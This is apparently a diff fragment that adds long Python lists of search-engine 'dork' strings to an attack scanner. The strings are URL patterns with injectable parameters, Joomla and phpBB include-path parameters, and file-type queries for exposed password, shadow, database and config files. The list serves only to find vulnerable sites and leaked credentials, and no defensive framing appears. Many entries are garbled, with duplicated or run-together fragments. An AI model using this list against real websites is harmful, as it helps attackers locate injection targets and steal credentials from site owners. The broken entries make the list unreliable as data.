'blank.php?rub', 'blank.php?section', 'blank.php?sivu', 'blank.php?sp', 'blank.php?strona', 'blank.php?subject', 'blank.php?t', 'blank.php?url', 'blank.php?var', 'blank.php?where', 'blank.php?xlink', 'blank.php?z', 'blog.asp?blog', 'blog.php?blog', 'blog/?p', 'blog/index.asp?idBlog', 'blog/index.php?idBlog', 'blogdetail.asp?id', 'blogdetail.php?id', 'blpage.php?id', 'bnbform.cgi', 'board', 'board.php?seeboard.php?see', 'board.php?seephp?see', 'board/board.html?table', 'board/kboard.php?board' ] 
+d0rk += [ 'board/read.asp?tid', 'board/read.php?tid', 'board/showthread.asp?t', 'board/showthread.php?t', 'board/templete/sycho/input.php?table', 'board/view.asp?no', 'board/view.php?no', 'board/viewtemp.php?table', 'board/viewtopic.php?id', 'boardView.asp?bbs', 'boardView.php?bbs', 'boardview.asp?sboardid', 'boardview.html?id', 'boardview.php?sboardid', 'boatplans.asp?id', 'book.asp?ID', 'book.asp?ISBN', 'book.html?isbn', 'book.php5?pagephp5?page', 'book.php?ID', 'book.php?ISBN', 'book/bookcover.asp?bookid', 'book/bookcover.php?bookid', 'book2.php?id', 'bookSingle.php?bookId', 'bookdetail.asp?BookID', 'bookdetail.php?BookID', 'bookdete.php?bookID', 'booking.php?id', 'booking.php?s', 'booking/bandinfo.php?id', 'booklist.asp?bookid', 'booklist.cfm?bookid', 'booklist.php?bookid', 'bookmark.htm', 'bookmark/mybook/bookmark.asp?bookPageNo', 'bookmark/mybook/bookmark.php?bookPageNo', 'bookpage.asp?id', 'bookpage.php?id', 'books', 'books.asp?id', 'books.php?id', 'books/book.asp?projnr', 'books/book.php?projnr', 'bookview.asp?bookid', 'bookview.asp?id', 'bookview.cfm?bookid', 'bookview.php?bookid', 'bookview.php?id', 'bpac/calendar/event.asp?id', 'bpac/calendar/event.php?id', 'bpblogadminlogin|adminsitejohnny.ihackstuff.com', 'bpncom.php?bnrep', 'brand.asp?id', 'brand.php?id', 'brief.php?id', 'browse.asp?catid', 'browse.cfm?catid', 'browse.php?catid', 'browse.php?cid', 'browse/book.asp?journalID', 'browse/book.php?journalID', 'browseitemdetails.asp', 'browseitemdetails.cfm', 'browseitemdetails.php', 'browsepr.asp?pr', 'browsepr.php?pr', 'browser.inc', 'buddylist.blt', 'bug.php?id', 'build.cgi', 'build.err', 'business/details.php?id', 'buy', 'buy.asp?', 'buy.asp?bookid', 'buy.cfm?', 'buy.cfm?bookid', 'buy.php?', 'buy.php?bookid', 'buy.php?category', 'byReimarHoven.AllRightsReserved.Disclaimer|log/logdb.dta', 'bycategory.asp?id', 'bycategory.cfm?id', 'bycategory.php?id', 'cachedfeed.cgi', 'cachemgr.cgi', 'cactigraphview.phpSettingsTreeViewcvsRPM', 'calendar.asp?actionlogin', 'calendar.php?eventid', 'calendar.pl?commandlogin&fromTemplate', 'calendar.pl?commandlogin&fromTemplateencore/forumcgi/display.cgi?preftemptemp&pageanonymous&file', 'calendar/event.asp?id', 'calendar/event.php?id', 'calendar/item.php?id', 'calendar/week.php?cid', 'calendars?ri?t/users.txt', 'cambiaremicrosoftconilsitochevolete...ad.es.adobe', 'cameralinksysmain.cgi', 'campaigns.php?id', 'campas', 'campdetails.php?id', 'campkctoday.php?Start', 'campkcviewevent.php?ItemID', 'canal.php?meiophp?meio', 'canal/imap.php?id', 'car.php?id', 'cardIssuance/product.php?pid', 'cardetail.php?id', 'cardetails.php?id', 'cardinfo.asp?card', 'cardinfo.cfm?card', 'cardinfo.php?card', 'carinfo.php?id', 'carrydetail.php?prodID', 'carsdetail.php?id', 'cart.asp?action', 'cart.asp?cartid', 'cart.asp?id', 'cart.cfm?action', 'cart.cfm?cartid', 'cart.cfm?id', 'cart.php?action', 'cart.php?cartid', 'cart.php?id', 'cart/addToCart.asp?cid', 'cart/addToCart.php?cid', 'cart/detailprod.php?id', 'cart/home.php?cat', 'cart/itemshow.php?itemID', 'cart/proddetails.php?prodid', 'cart/prodsubcat.php?id', 'cart/product.asp?productid', 'cart/product.php?productid', 'cart32.exe', 'cartadd.asp?id', 'cartadd.cfm?id', 'cartadd.php?id', 'cartadditem.asp?id', 'cartadditem.cfm?id', 'cartadditem.php?id', 'cartvalidate.asp?id', 'cartvalidate.cfm?id', 'cartvalidate.php?id', 'cat', 'cat.asp?catid', 'cat.asp?iCat', 'cat.asp?id', 'cat.cfm?iCat', 'cat.php?cat', 'cat.php?catid', 'cat.php?iCat', 'cat/?catid', 'catalog.asp', 'catalog.asp?CatalogID', 'catalog.cfm', 'catalog.cfm?CatalogID', 'catalog.php', 'catalog.php?CAT', 'catalog.php?CatalogID', 'catalog/index.php?cPath', 'catalog/main.asp?catid', 'catalog/main.php?catid', 'catalog/product.asp?catid', 'catalog/product.asp?pid', 'catalog/product.php?catid', 'catalog/product.php?pid', 'catalog/productinfo.php?productsid', 'catalogitem.asp?ID', 'catalogitem.cfm?ID', 'catalogitem.php?ID', 'catalogmain.asp?catid', 'catalogmain.cfm?catid', 'catalogmain.php?catid', 'categories.asp?cat', 'categories.php?cat', 'categories.php?catid', 'categories.php?id', 'categories.php?parentid', 'categories.php?start', 'category.asp', 'category.asp?CID', 'category.asp?c', 'category.asp?catid', 'category.asp?id', 'category.asp?idcategory', 'category.cfm', 'category.cfm?catid', 'category.php', 'category.php?CID', 'category.php?c', 'category.php?categoryid', 'category.php?catid', 'category.php?id', 'category.php?idcategory', 'category/indexpages.php?categoryid', 'categorydisplay.asp?catid', 'categorydisplay.cfm?catid', 'categorydisplay.php?catid', 'categoryid.php?id', 'categorylist.asp?id', 'categorylist.cfm?id', 'categorylist.php?id', 'categoryview.php?categoryid', 'cats.asp?cat', 'cats.php?cat', 'catsdisp.php?cat', 'cbmer/congres/page.asp?LAN', 'cbmer/congres/page.php?LAN', 'cc/showthread.php?p', 'cc/showthread.php?t', 'ccbill/whereami.cgi?gls', 'ccbillfiletypelog', 'cd.php?id', 'cei/cedb/projdetail.asp?projID', 'cei/cedb/projdetail.php?projID', 'cemetery.asp?id', 'cemetery.php?id', 'cfm', 'cfmx?PageID', 'cgi', 'cgibin/1/cmd.cgi', 'cgibin/acart/acart.pl?&page', 'cgibin/awstats.pl?update1&logfile' ] 
+d0rk += [ 'cgibin/awstats/awstats.pl?configdir', 'cgibin/bbs/read.cgi?file', 'cgibin/bp/bplib.pl?g', 'cgibin/hinsts.pl?', 'cgibin/hinsts.pl?cgibin/bp/bplib.pl?gccbill/whereami.cgi?gls', 'cgibin/ikonboard.cgi', 'cgibin/index.cgi?page', 'cgibin/jammail.pl?jobshowoldmail&mail', 'cgibin/printenv', 'cgibin/probe.cgi?olddat', 'cgibin/quikstore.cgi?category', 'cgibin/telnet.cgi', 'cgibin/telnet.cgicgibin/1/cmd.cgi', 'cgibin/testcgi.exePleasedistributeTestCGI', 'cgibin/ubb/ubb.cgi?g', 'cgibin/ultimatebb.cgi?ubblogin', 'cgibincalendar.cfg', 'cgiirc.conf', 'cgiirc.config', 'cgisys/guestbook.cgi?usercpanel&template', 'cgiwrap', 'chalets.php?id', 'chamber/members.php?id', 'changepassword.asp', 'channel/channellayout.asp?objId', 'channel/channellayout.php?objId', 'channelid', 'chappies.php?id', 'chapsecretscvs', 'cheats/details.php?ID', 'cheats/item.php?itemid', 'checknews.php?id', 'checkout.asp?UserID', 'checkout.asp?cartid', 'checkout.cfm?UserID', 'checkout.cfm?cartid', 'checkout.php?UserID', 'checkout.php?cartid', 'checkout1.asp?cartid', 'checkout1.cfm?cartid', 'checkout1.php?cartid', 'checkoutconfirmed.asp?orderid', 'checkoutconfirmed.cfm?orderid', 'checkoutconfirmed.php?orderid', 'clanek.php4?id', 'clanpage.asp?cid', 'clanpage.php?cid', 'classes/adodbt/sql.php?classesdir', 'classified/detail.php?siteid', 'classifieds.cgi', 'classifieds/detail.asp?siteid', 'classifieds/detail.php?siteid', 'classifieds/showproduct.asp?product', 'classifieds/showproduct.php?product', 'clear/store/products.php?productcategory', 'clientid', 'cloudbank/detail.asp?ID', 'cloudbank/detail.php?ID', 'club.asp?cid', 'club.php?cid', 'clubpage.php?id', 'cm/public/news/news.php?newsid', 'cmd', 'cmd.php?argphp?arg', 'cms/publications.php?id', 'cms/showpage.php?cid', 'cms/story.php?id', 'collectionitem.php?id', 'colourpointeducational/moredetails.asp?id', 'colourpointeducational/moredetails.php?id', 'comedytogo.php?id', 'comersuslistCategoriesAndProducts.asp?idCategory', 'comersuslistCategoriesAndProducts.cfm?idCategory', 'comersuslistCategoriesAndProducts.php?idCategory', 'comersusmessage.asp', 'comersusoptEmailToFriendForm.asp?idProduct', 'comersusoptEmailToFriendForm.cfm?idProduct', 'comersusoptEmailToFriendForm.php?idProduct', 'comersusoptReviewReadExec.asp?idProduct', 'comersusoptReviewReadExec.cfm?idProduct', 'comersusoptReviewReadExec.php?idProduct', 'comersusviewItem.asp?idProduct', 'comersusviewItem.cfm?idProduct', 'comersusviewItem.php?idProduct', 'comextendedregistration', 'comments.asp?id', 'comments.php?id', 'commentsform.asp?ID', 'commentsform.cfm?ID', 'commentsform.php?ID', 'common.php', 'communigateproentrance', 'communiquedetail.php?id', 'community/calendareventfr.asp?id', 'community/calendareventfr.php?id', 'company.asp?ID', 'company/news.php?id', 'companydetails.php?ID', 'components/comartlinks/artlinks.dispnew.php?mosConfigabsolutepath', 'components/comcpg/cpg.php?mosConfigabsolutepath', 'components/comextcalendar/adminevents.php?CONFIGEXT[LANGUAGESDIR]', 'components/comextendedregistration/registrationdetailed.inc.php?mosConfigabsolutepath', 'components/comextendedregistration/registrationdetailed.inc.php?mosConfigabsolutepathcomextendedregistration', 'components/comforum/download.php?phpbbrootpath', 'components/comforum/download.php?phpbbrootpathcomforum', 'components/comgalleria/galleria.html.php?mosConfigabsolutepath', 'components/comgeria/geria.html.php?mosConfigabsolutepath', 'components/commtree/Savant2/Savant2Pluginstylesheet.php?mosConfigabsolutepath', 'components/comperforms/performs.php?mosConfigabsolutepath', 'components/comperforms/performs.php?mosConfigabsolutepathcomperforms', 'components/comphpshop/toolbar.phpshop.html.php?mosConfigabsolutepath', 'components/comphpshop/toolbar.phpshop.html.php?mosConfigabsolutepathcomphpshop', 'components/comrsgallery/rsgallery.html.php?mosConfigabsolutepath', 'components/comrsgery/rsgery.html.php?mosConfigabsolutepath', 'components/comrsgery/rsgery.html.php?mosConfigabsolutepathcomrsgery', 'components/comrsgery/rsgery.html.php?mosConfigabsolutepathrsgery', 'components/comrsgery/rsgery.html.php?mosConfigabsolutepathrsgery.php', 'components/comsimpleboard/imageupload.php?sbp', 'components/comsimpleboard/imageupload.php?sbpcomsimpleboard', 'confidentialsitemil', 'config.php', 'config.php?CCFG[PKGPATHDBSE]', 'config.phpdbunamedbpass', 'confixxlogin|anmeldung', 'conproduct.php?prodid', 'constructies/product.asp?id', 'constructies/product.php?id', 'cont', 'contact.asp?cartId', 'contact.cfm?cartId', 'contact.php?cartId', 'contact.php?id', 'contactdetails.php?id', 'contacts.php?caldir', 'contactsextwml', 'contactus?reportCompany', 'contenido.php?sec', 'content.asp?PID', 'content.asp?artiid', 'content.asp?cID', 'content.asp?categoryId', 'content.asp?conttitle', 'content.asp?id', 'content.asp?p', 'content.cfm?id', 'content.php?PID', 'content.php?artiid', 'content.php?cID', 'content.php?categoryId', 'content.php?conttitle', 'content.php?dtid', 'content.php?id', 'content.php?incphp?inc', 'content.php?nID', 'content.php?op', 'content.php?p', 'content.php?page', 'content.php?pagecontent.php?pagephp' ] 
+d0rk += [ 'content.php?seitecontent.php?seite', 'content.php?seitephp?seite', 'content/conferenceregister.asp?ID', 'content/conferenceregister.php?ID', 'content/detail.asp?id', 'content/detail.php?id', 'content/index.asp?id', 'content/index.php?id', 'content/pages/index.asp?idcat', 'content/pages/index.php?idcat', 'content/programme.asp?ID', 'content/programme.php?ID', 'content/view.asp?id', 'content/view.php?id', 'contentok.php?id', 'convertdate.php?caldir', 'coppercop/theme.php?THEMEDIR', 'coranto.cgiLoginAuthorizedUsersOnly', 'corporate/faqs/faq.php?Id', 'corporate/newsreleasesmore.asp?id', 'corporate/newsreleasesmore.php?id', 'counter.exe', 'countyfacts/diary/vcsgen.asp?id', 'countyfacts/diary/vcsgen.php?id', 'courses/course.php?id', 'courses/coursedetails.php?id', 'cpage.php?id', 'cps/rde/xchg/tm/hs.xsl/liensdetail.html?lnkId', 'credentials', 'cryolab/content.asp?cid', 'cryolab/content.php?cid', 'csCreatePro.cgi', 'csc/newsdetails.asp?cat', 'csc/newsdetails.php?cat', 'csvdb/csvdb.cgi?filefile.extention', 'ctlBasicshowsWebusercredentials', 'cube/index.php?catid', 'cubecart/index.php?catid', 'cuisine/index.php?id', 'current/diary/story.php?id', 'currentframe', 'curriculum.php?id', 'curriculumvitaefiletypedoc', 'customer/board.htm?mode', 'customer/home.asp?cat', 'customer/home.php?cat', 'customer/product.php?productid', 'customerService.asp?ID1', 'customerService.asp?TextID1', 'customerService.cfm?ID1', 'customerService.php?ID1', 'custompages.php?id', 'cvsweb.cgi', 'cyberfolio/portfolio/msg/view.php?avcyberfolio', 'data', 'dataaccess/article.php?ID', 'datafiletypemdbsitegovsitemil', 'date', 'db.cgi', 'db.php?pathlocal', 'db/CART/productdetails.asp?productid', 'db/CART/productdetails.php?productid', 'db/item.html?item', 'dbase.php?actiondbase.php', 'dbase.php?actiondbase.php?action', 'dbase.php?actionphp?action', 'dbconnect.inc', 'dbfiletypemdb', 'ddoecom/index.php?id', 'ddoecom/product.php?proid', 'de/content.asp?pageid', 'de/content.php?pageid', 'dealcoupon.asp?catid', 'dealcoupon.php?catid', 'debatedetail.asp?id', 'debatedetail.php?id', 'declarationmore.php?declid', 'default.asp', 'default.asp?TID', 'default.asp?cPath', 'default.asp?catID', 'default.aspWebCommander', 'default.asp', 'default.cfm?catID', 'default.php?TID', 'default.php?abre', 'default.php?arquivophp?arquivo', 'default.php?basedir', 'default.php?basepath', 'default.php?body', 'default.php?cPath', 'default.php?catID', 'default.php?channel', 'default.php?chapter', 'default.php?choix', 'default.php?cmd', 'default.php?cont', 'default.php?destino', 'default.php?e', 'default.php?eval', 'default.php?f', 'default.php?goto', 'default.php?header', 'default.php?id', 'default.php?inc', 'default.php?incl', 'default.php?include', 'default.php?index', 'default.php?ir', 'default.php?itemnav', 'default.php?k', 'default.php?ki', 'default.php?l', 'default.php?left', 'default.php?load', 'default.php?loader', 'default.php?loc', 'default.php?m', 'default.php?menu', 'default.php?menue', 'default.php?mid', 'default.php?mod', 'default.php?module', 'default.php?n', 'default.php?name', 'default.php?nivel', 'default.php?oldal', 'default.php?opcion', 'default.php?option', 'default.php?p', 'default.php?pa', 'default.php?pag', 'default.php?page', 'default.php?page/default.php?pagephp', 'default.php?pageweb', 'default.php?panel', 'default.php?param', 'default.php?play', 'default.php?pr', 'default.php?pre', 'default.php?read', 'default.php?ref', 'default.php?root', 'default.php?rub', 'default.php?secao', 'default.php?secc', 'default.php?seccion', 'default.php?seite', 'default.php?showpage', 'default.php?sivu', 'default.php?sp', 'default.php?str', 'default.php?strona', 'default.php?t', 'default.php?thispage', 'default.php?tipo', 'default.php?to', 'default.php?type', 'default.php?v', 'default.php?var', 'default.php?visphp?vis', 'default.php?x', 'default.php?y', 'default/login.phpkerio', 'default/theme.php?THEMEDIR', 'define.php?termphp?term', 'demositeoscommerce.com', 'deportes.cgi?alatest&t', 'description.asp?bookid', 'description.cfm?bookid', 'description.php?bookid', 'designcenter/item.php?id', 'detail', 'detail.asp?id', 'detail.asp?prodid', 'detail.asp?siteid', 'detail.php?ID', 'detail.php?catid', 'detail.php?itemid', 'detail.php?proddetail.php?prod', 'detail.php?prodid', 'detail.php?prodphp?prod', 'detail.php?siteid', 'detailedbook.asp?isbn', 'detailedbook.php?isbn', 'detailedproduct.asp?id', 'details.asp?BookID', 'details.asp?PressReleaseID', 'details.asp?ProductID', 'details.asp?ServiceID', 'details.asp?id', 'details.asp?prodId', 'details.cfm?BookID', 'details.cfm?PressReleaseID', 'details.cfm?ProductID', 'details.cfm?ServiceID', 'details.php?BookID', 'details.php?PressReleaseID', 'details.php?ProductID', 'details.php?ServiceID', 'details.php?id', 'details.php?locdetails.php?loc', 'details.php?locphp?loc', 'details.php?page', 'details.php?prodId', 'details/food.php?cid', 'detectedaninternalerror[IBM][CLIDriver][DB2/6000]', 'developmentsdetail.php?id', 'developmentsview.php?id', 'digantidengan', 'dir', 'direct.php?locdirect.php?loc', 'directions.php?locdirections.php?loc' ]
+d0rk += [ 'directory.php?cat', 'directory/contenu.asp?idcat', 'directory/contenu.php?idcat', 'directory/listingcoupons.php?id', 'directory/profile.php?id', 'directory/showcat.php?cat', 'directorylisting.php?cat', 'discontproductpg.php?productid', 'discussions/10/9/?CategoryID', 'discussions/9/6/?CategoryID', 'display', 'display.asp?ID', 'display.php?ID', 'display.php?fdisplay.php?f', 'display.php?filedisplay.php?file', 'display.php?langdisplay.php?lang', 'display.php?ldisplay.php?l', 'display.php?lndisplay.php?ln', 'display.php?pagdisplay.php?pag', 'display.php?page&langdisplay.php?page', 'display.php?page&langphp?page', 'display.php?pagedisplay.php?page', 'display.php?pagephp?page', 'display.php?pdisplay.php?p', 'display.php?pgdisplay.php?pg', 'display.php?sdisplay.php?s', 'display.php?tabledisplay.php?table', 'display.php?tablephp?table', 'displayArticle.php?id', 'displayArticleB.asp?id', 'displayArticleB.php?id', 'displayCategory.php?basepath', 'displayitem.asp?id', 'displayitem.cfm?id', 'displayitem.php?id', 'displaypage.asp?id', 'displaypage.php?elementId', 'displaypage.php?id', 'displaypage.php?tpl', 'displayproduct.php?Product', 'displayproducts.asp', 'displayproducts.cfm', 'displayproducts.php', 'displayrange.asp?rangeid', 'displayrange.php?rangeid', 'displaysunsign.php?id', 'displayuser.php?ID', 'docDetail.aspx?chnum', 'docushare/dsweb/faqgovedu', 'dotproject/modules/files/indextable.php?rootdir', 'dotproject/modules/projects/addedit.php?rootdir', 'dotproject/modules/projects/view.php?rootdir', 'dotproject/modules/projects/vwfiles.php?rootdir', 'dotproject/modules/tasks/addedit.php?rootdir', 'dotproject/modules/tasks/viewgantt.php?rootdir', 'down.php?OpenPage', 'down.php?action', 'down.php?addr', 'down.php?channel', 'down.php?choix', 'down.php?cmd', 'down.php?corpo', 'down.php?disp', 'down.php?doshow', 'down.php?ev', 'down.php?filepath', 'down.php?goFile', 'down.php?home', 'down.php?in', 'down.php?inc', 'down.php?incl', 'down.php?include', 'down.php?ir', 'down.php?lang', 'down.php?left', 'down.php?nivel', 'down.php?oldal', 'down.php?open', 'down.php?pa', 'down.php?pag', 'down.php?pageweb', 'down.php?param', 'down.php?path', 'down.php?pg', 'down.php?phpbbrootpath', 'down.php?pollname', 'down.php?pr', 'down.php?pre', 'down.php?qry', 'down.php?r', 'down.php?read', 'down.php?s', 'down.php?second', 'down.php?section', 'down.php?seite', 'down.php?showpage', 'down.php?sp', 'down.php?strona', 'down.php?subject', 'down.php?t', 'down.php?texto', 'down.php?to', 'down.php?u', 'down.php?url', 'down.php?v', 'down.php?where', 'down.php?x', 'down.php?z', 'download', 'download.asp?id', 'download.php?id', 'download.php?subdownload.php?sub', 'downloadTrial.asp?intProdID', 'downloadTrial.cfm?intProdID', 'downloadTrial.php?intProdID', 'downloaddetails.php?id', 'downloadfree.php?id', 'downloads.asp?id', 'downloads.asp?software', 'downloads.php?fileid', 'downloads.php?id', 'downloads.php?type', 'downloads/category.asp?c', 'downloads/category.php?c', 'downloads/shambler.asp?id', 'downloads/shambler.php?id', 'downloadsinfo.php?id', 'dreaminterpretation.php?id', 'ds.py', 'duclassmatesiteduware.com', 'dudownloadsiteduware.com', 'dump.php?bdid', 'dumpenv.pl', 'dupicsadd.asp|default.asp|view.asp|voting.aspsite', 'dupicsadd.asp|default.asp|view.asp|voting.aspsiteduware.com', 'duware.com', 'dvwssr.dll', 'e107/e107handlers/secureimgrender.php?p', 'eMuleWebControlPanelintextWebControlPanelEnteryourpasswordhere.', 'ePowerSwitchLogin', 'eXistDatabaseAdministrationdemo', 'earth/visitwcmview.php?id', 'earthactivity.cfm?id', 'eboard/modifyform.html?code', 'edatabase/home.asp?cat', 'edatabase/home.php?cat', 'edit.pl', 'editProduct.php?cid', 'edition.asp?areaid', 'edition.php?areaid', 'editor.php?root', 'editor/list.asp|databaseeditor.asp|login.asaareset', 'ednastreamingmp3serverforums', 'education.php?idcat', 'education/content.asp?page', 'education/content.php?page', 'eggdropfiletypeuseruser', 'els/product/product.asp?id', 'els/product/product.php?id', 'emailToFriend.asp?idProduct', 'emailToFriend.cfm?idProduct', 'emailToFriend.php?idProduct', 'emailaddressfiletypecsvcsv', 'emailfiletypemdb', 'emailproduct.asp?itemid', 'emailproduct.cfm?itemid', 'emailproduct.php?itemid', 'emsgb/easymsgb.pl?print', 'en/details.php?id', 'en/main.asp?id', 'en/main.php?id', 'en/mobilephone.php?ProdID', 'en/news/fullnews.asp?newsid', 'en/news/fullnews.php?newsid', 'en/procurement/newsitem.php?newsID', 'en/product.php?proid', 'en/produit.php?id', 'en/publications.asp?id', 'en/publications.php?id', 'en/visit.php?id', 'enablepassword|secretcurrentconfigurationintextthe', 'enc/content.php?HomePath', 'enc/content.php?HomePathdoodle', 'enc/content.php?HomePathdoodlecart', 'enc/content.php?HomePathpoweredbydoodlecart', 'encapscmsPATH/core/core.php?rootencapscmsPATH', 'encore/forumcgi/display.cgi?preftemptemp&pageanonymous&file', 'endymion.sak?.mail.login.page|sake.servlet', 'eng.php?imgeng.php?img', 'eng.php?imgphp?img', 'eng/board/view.php?id', 'eng/rgboard/view.asp?&bbsid', 'eng/rgboard/view.php?&bbsid', 'eng/store/showscat.php?catid', 'engboard/view.asp?T', 'engboard/view.php?T' ] 
+d0rk += [ 'english/board/view.asp?code', 'english/board/view.php?code', 'english/fonction/print.asp?id', 'english/fonction/print.php?id', 'english/gallery.php?id', 'english/index.php?id', 'english/print.asp?id', 'english/print.php?id', 'english/publicproducts.asp?groupid', 'english/publicproducts.php?groupid', 'enter.php?a', 'enter.php?abre', 'enter.php?addr', 'enter.php?b', 'enter.php?basedir', 'enter.php?body', 'enter.php?chapter', 'enter.php?cmd', 'enter.php?content', 'enter.php?e', 'enter.php?ev', 'enter.php?get', 'enter.php?go', 'enter.php?goto', 'enter.php?home', 'enter.php?id', 'enter.php?incl', 'enter.php?include', 'enter.php?index', 'enter.php?ir', 'enter.php?itemnav', 'enter.php?lang', 'enter.php?left', 'enter.php?link', 'enter.php?loader', 'enter.php?menue', 'enter.php?mid', 'enter.php?middle', 'enter.php?mod', 'enter.php?module', 'enter.php?name', 'enter.php?numero', 'enter.php?open', 'enter.php?pa', 'enter.php?page', 'enter.php?pagina', 'enter.php?panel', 'enter.php?path', 'enter.php?pg', 'enter.php?phpbbrootpath', 'enter.php?play', 'enter.php?pname', 'enter.php?pr', 'enter.php?pref', 'enter.php?qry', 'enter.php?r', 'enter.php?read', 'enter.php?ref', 'enter.php?s', 'enter.php?sec', 'enter.php?second', 'enter.php?seite', 'enter.php?sivu', 'enter.php?sp', 'enter.php?start', 'enter.php?str', 'enter.php?strona', 'enter.php?subject', 'enter.php?texto', 'enter.php?thispage', 'enter.php?type', 'enter.php?viewpage', 'enter.php?w', 'enter.php?y', 'entertainment/listings.php?id', 'episode.php?id', 'errorfoundhandlingtherequestcocoonfiletypexml', 'errorhasoccurredfiletypeihtml', 'eshop.php?id', 'estore/products.php?cat', 'etcindex.of', 'etemplate.php?id', 'event.asp?id', 'event.php?contentID', 'event.php?id', 'event/detail.php?id', 'eventdetails.asp?id', 'eventdetails.php?id', 'eventinfo.asp?p', 'eventinfo.php?p', 'eventlistingsshort.php?s', 'events.asp?ID', 'events.cfm?ID', 'events.cgi?a155&t', 'events.cgi?t', 'events.php?ID', 'events.php?pid', 'events/detail.asp?ID', 'events/detail.php?ID', 'events/details.php?id', 'events/event.asp?id', 'events/event.php?id', 'events/eventdetail.asp?id', 'events/eventdetail.cfm?intNewsEventsID', 'events/eventdetail.php?id', 'events/events.php?id', 'events/index.asp?id', 'events/index.php?id', 'events/uniqueevent.asp?ID', 'events/uniqueevent.php?ID', 'events?id', 'eventsdetail.php?pid', 'eventsdetails.php?id', 'eventsmore.php?id', 'eventtype.php?id', 'exchweb/bin/auth/owalogon.asp', 'exclusive.php?pID', 'exhibitionoverview.asp?id', 'exhibitionoverview.php?id', 'exhibitions/detail.asp?id', 'exhibitions/detail.php?id', 'exhibitions/details.php?id', 'exibir.php?abre', 'exibir.php?get', 'exibir.php?lang', 'exibir.php?p', 'exibir.php?page', 'expanded.php?conf', 'experts.php?subexperts.php?sub', 'exportedemailaddresses', 'extCDXCDX', 'extasa|extbakintextuidintextpwduid..pwddatabase|server|dsn', 'extaspinurlathto.asp', 'extasppathto.asp', 'extccmccmcatacomb', 'extcfgradius.cfg', 'extcgicontrolpanelenteryourownerpasswordtocontinue!', 'extcgieditcgi.cgifile', 'extcgiintextnrgThiswebpagewascreatedon', 'extconfNoCatAuthcvs', 'extconfrsyncd.confcvsman', 'extconfrsyncd.confcvsmanextconfNoCatAuthcvs', 'extdatbpk.dat', 'extdoc|pdf|xls|txt|ps|rtf|odt|sxw|psw|ppt|pps|xmlintextconfidentialsalary|intextbudgetapprovedconfidential', 'extensions/extlist.php?cat', 'extghogho', 'exticsics', 'extincpwdUID', 'extiniVersion4.0.0.4password', 'extinieudora.ini', 'extiniintextenv.ini', 'extjbfjbf', 'extldifldif', 'extlogSoftwareMicrosoftInternetInformation', 'extlogSoftwareMicrosoftInternetInformationServices.', 'extmdb.mdbfpdbshop.mdb', 'extnsfnsfgovmil', 'extpasswdintextthesampleexample', 'extplistfiletypeplistbookmarks.plist', 'extpqipqidatabase', 'extqipqidatabase', 'extregusernameputty', 'exttxtFinalencryptionkey', 'exttxtdxdiag', 'exttxtunattend.txt', 'extvmdkvmdk', 'extvmxvmx', 'extymldatabaseconfig', 'ezPublishadministration', 'faq.asp?cartID', 'faq.cfm?cartID', 'faq.php?', 'faq.php?cartID', 'faq.php?id', 'faq.php?qid', 'faq/category.php?id', 'faq/question.php?Id', 'faq2.php?id', 'faqlist.asp?id', 'faqlist.cfm?id', 'faqlist.php?id', 'faqs.asp?id', 'faqs.cfm?id', 'faqs.php?id', 'fatcat/artistInfo.php?id', 'fatcat/home.asp?view', 'fatcat/home.php?view', 'faxsurvey', 'fcgibin/echo', 'fcms/view.php?cid', 'feature.asp?id', 'feature.php?id', 'feature2.php?id', 'featuredetail.php?id', 'features/view.php?id', 'feedback.asp?title', 'feedback.cfm?title', 'feedback.php?title', 'fellows.php?id', 'ficha.php?id', 'fichespectacle.php?id', 'file', 'file.php?action', 'file.php?basepath', 'file.php?body', 'file.php?channel', 'file.php?chapter', 'file.php?choix', 'file.php?cmd', 'file.php?cont', 'file.php?corpo', 'file.php?disp', 'file.php?doshow', 'file.php?ev', 'file.php?eval', 'file.php?get', 'file.php?id', 'file.php?inc', 'file.php?incl', 'file.php?include', 'file.php?index', 'file.php?ir', 'file.php?ki', 'file.php?left', 'file.php?load', 'file.php?loader', 'file.php?middle', 'file.php?modo', 'file.php?n', 'file.php?nivel', 'file.php?numero', 'file.php?oldal', 'file.php?pagina', 'file.php?param', 'file.php?pg', 'file.php?play' ] 
+d0rk += [ 'file.php?pollname', 'file.php?pref', 'file.php?q', 'file.php?qry', 'file.php?ref', 'file.php?seccion', 'file.php?second', 'file.php?showpage', 'file.php?sivu', 'file.php?sp', 'file.php?start', 'file.php?strona', 'file.php?texto', 'file.php?to', 'file.php?type', 'file.php?url', 'file.php?var', 'file.php?viewpage', 'file.php?where', 'file.php?y', 'fileinclude', 'filemail.pl', 'filemanager.php?delete', 'filename', 'files.php?cat', 'files.pl', 'fileseek.cgi?head&foot', 'filetypeASPASP', 'filetypeASPXASPX', 'filetypeBMLBML', 'filetypeCFMCFM', 'filetypeCGICGI', 'filetypeDIFFDIFF', 'filetypeDLLDLL', 'filetypeDOCDOC', 'filetypeFCGIFCGI', 'filetypeHTMHTM', 'filetypeHTMLHTML', 'filetypeJHTMLJHTML', 'filetypeJSPJSP', 'filetypeMVMV', 'filetypePDFPDF', 'filetypePHP3PHP3', 'filetypePHP4PHP4', 'filetypePHPPHP', 'filetypePHTMLPHTML', 'filetypePLPL', 'filetypePPTPPT', 'filetypePSps', 'filetypeQBWqbw', 'filetypeSHTMLSHTML', 'filetypeSTMSTM', 'filetypeSWFSWF', 'filetypeTXTTXT', 'filetypeXLSXLS', 'filetypeaspCustomErrorMessageCategorySource', 'filetypeaspDBQServer.MapPath.mdb', 'filetypeasp[ODBCSQL', 'filetypebak\htaccess|passwd|shadow|htusers', 'filetypebakcreateobjectsa', 'filetypebakhtaccess|passwd|shadow|htusers', 'filetypebkfbkf', 'filetypebltbltintextscreenname', 'filetypebltbuddylist', 'filetypecfgautoinst.cfg', 'filetypecfgksintextrootpwsampletesthowto', 'filetypecfgmrtgtarget', 'filetypecfmcfapplicationnamepassword', 'filetypecgiWebStore.cgi', 'filetypecgifileman.cgi', 'filetypecnfvtipvtaccess.cnf', 'filetypeconffirewallcvs', 'filetypeconfigconfigintextappSettingsUserID', 'filetypeconfigweb.configCVS', 'filetypeconfoekakibbs', 'filetypeconfproftpd.PROFTPFTPserverconfigurationfilereveals', 'filetypeconfpsybnc.confUSER.PASS', 'filetypeconfslapd.conf', 'filetypectlhaccess.MicrosoftFrontPageequivalentofhtaccess', 'filetypecttContact', 'filetypecttcttmessenger', 'filetypedatSites.dat', 'filetypedatpassword.dat', 'filetypedatwand.dat', 'filetypedbpdbbackupPilot|Pluckerdb', 'filetypeemlemlintextSubjectintextFromintextTo', 'filetypefp3fp3', 'filetypefp5fp5sitegovsitemilcvslog', 